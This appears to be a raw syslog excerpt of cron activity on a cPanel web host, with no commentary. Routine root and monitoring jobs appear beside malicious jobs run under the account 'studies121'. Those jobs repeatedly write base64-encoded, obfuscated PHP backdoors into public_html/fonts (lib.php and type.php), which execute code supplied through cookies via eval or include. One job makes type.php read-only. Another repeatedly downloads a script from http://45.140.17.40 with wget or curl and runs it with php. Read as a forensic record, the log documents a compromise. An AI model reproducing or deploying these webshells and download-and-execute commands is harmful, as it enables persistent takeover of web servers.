Sep  3 10:11:01 ip-184-168-122-23 CROND[17633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:11:01 ip-184-168-122-23 CROND[17632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:12:01 ip-184-168-122-23 CROND[17713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:12:01 ip-184-168-122-23 CROND[17715]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:12:01 ip-184-168-122-23 CROND[17717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:12:01 ip-184-168-122-23 CROND[17720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:12:01 ip-184-168-122-23 CROND[17718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:13:01 ip-184-168-122-23 CROND[17877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:13:01 ip-184-168-122-23 CROND[17879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:13:01 ip-184-168-122-23 CROND[17881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:13:01 ip-184-168-122-23 CROND[17885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:14:01 ip-184-168-122-23 CROND[17975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:14:02 ip-184-168-122-23 CROND[17977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:14:02 ip-184-168-122-23 CROND[17980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:14:02 ip-184-168-122-23 CROND[17979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:14:02 ip-184-168-122-23 CROND[17978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:15:01 ip-184-168-122-23 CROND[18097]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:15:01 ip-184-168-122-23 CROND[18098]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 10:15:01 ip-184-168-122-23 CROND[18099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:15:01 ip-184-168-122-23 CROND[18101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:15:01 ip-184-168-122-23 CROND[18102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:15:01 ip-184-168-122-23 CROND[18105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:15:01 ip-184-168-122-23 CROND[18106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:16:01 ip-184-168-122-23 CROND[18287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:16:01 ip-184-168-122-23 CROND[18289]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 10:16:01 ip-184-168-122-23 CROND[18291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:16:01 ip-184-168-122-23 CROND[18292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:16:01 ip-184-168-122-23 CROND[18293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:16:01 ip-184-168-122-23 CROND[18290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:17:01 ip-184-168-122-23 CROND[18480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:17:01 ip-184-168-122-23 CROND[18482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:17:01 ip-184-168-122-23 CROND[18481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:17:01 ip-184-168-122-23 CROND[18483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:18:01 ip-184-168-122-23 CROND[18609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:18:01 ip-184-168-122-23 CROND[18608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:18:01 ip-184-168-122-23 CROND[18611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:18:01 ip-184-168-122-23 CROND[18616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:18:01 ip-184-168-122-23 CROND[18614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:19:02 ip-184-168-122-23 CROND[18796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:19:02 ip-184-168-122-23 CROND[18797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:19:02 ip-184-168-122-23 CROND[18800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:19:02 ip-184-168-122-23 CROND[18799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:20:01 ip-184-168-122-23 CROND[18897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:20:01 ip-184-168-122-23 CROND[18899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:20:01 ip-184-168-122-23 CROND[18903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:20:01 ip-184-168-122-23 CROND[18902]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:20:01 ip-184-168-122-23 CROND[18904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:20:01 ip-184-168-122-23 CROND[18901]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 10:20:01 ip-184-168-122-23 CROND[18900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:20:01 ip-184-168-122-23 CROND[18905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:20:01 ip-184-168-122-23 CROND[18906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:21:01 ip-184-168-122-23 CROND[19015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:21:01 ip-184-168-122-23 CROND[19012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:21:01 ip-184-168-122-23 CROND[19013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:21:01 ip-184-168-122-23 CROND[19014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:22:01 ip-184-168-122-23 CROND[19100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:22:01 ip-184-168-122-23 CROND[19102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:22:02 ip-184-168-122-23 CROND[19104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:22:02 ip-184-168-122-23 CROND[19106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:22:02 ip-184-168-122-23 CROND[19107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:23:01 ip-184-168-122-23 CROND[19211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:23:01 ip-184-168-122-23 CROND[19210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:23:01 ip-184-168-122-23 CROND[19209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
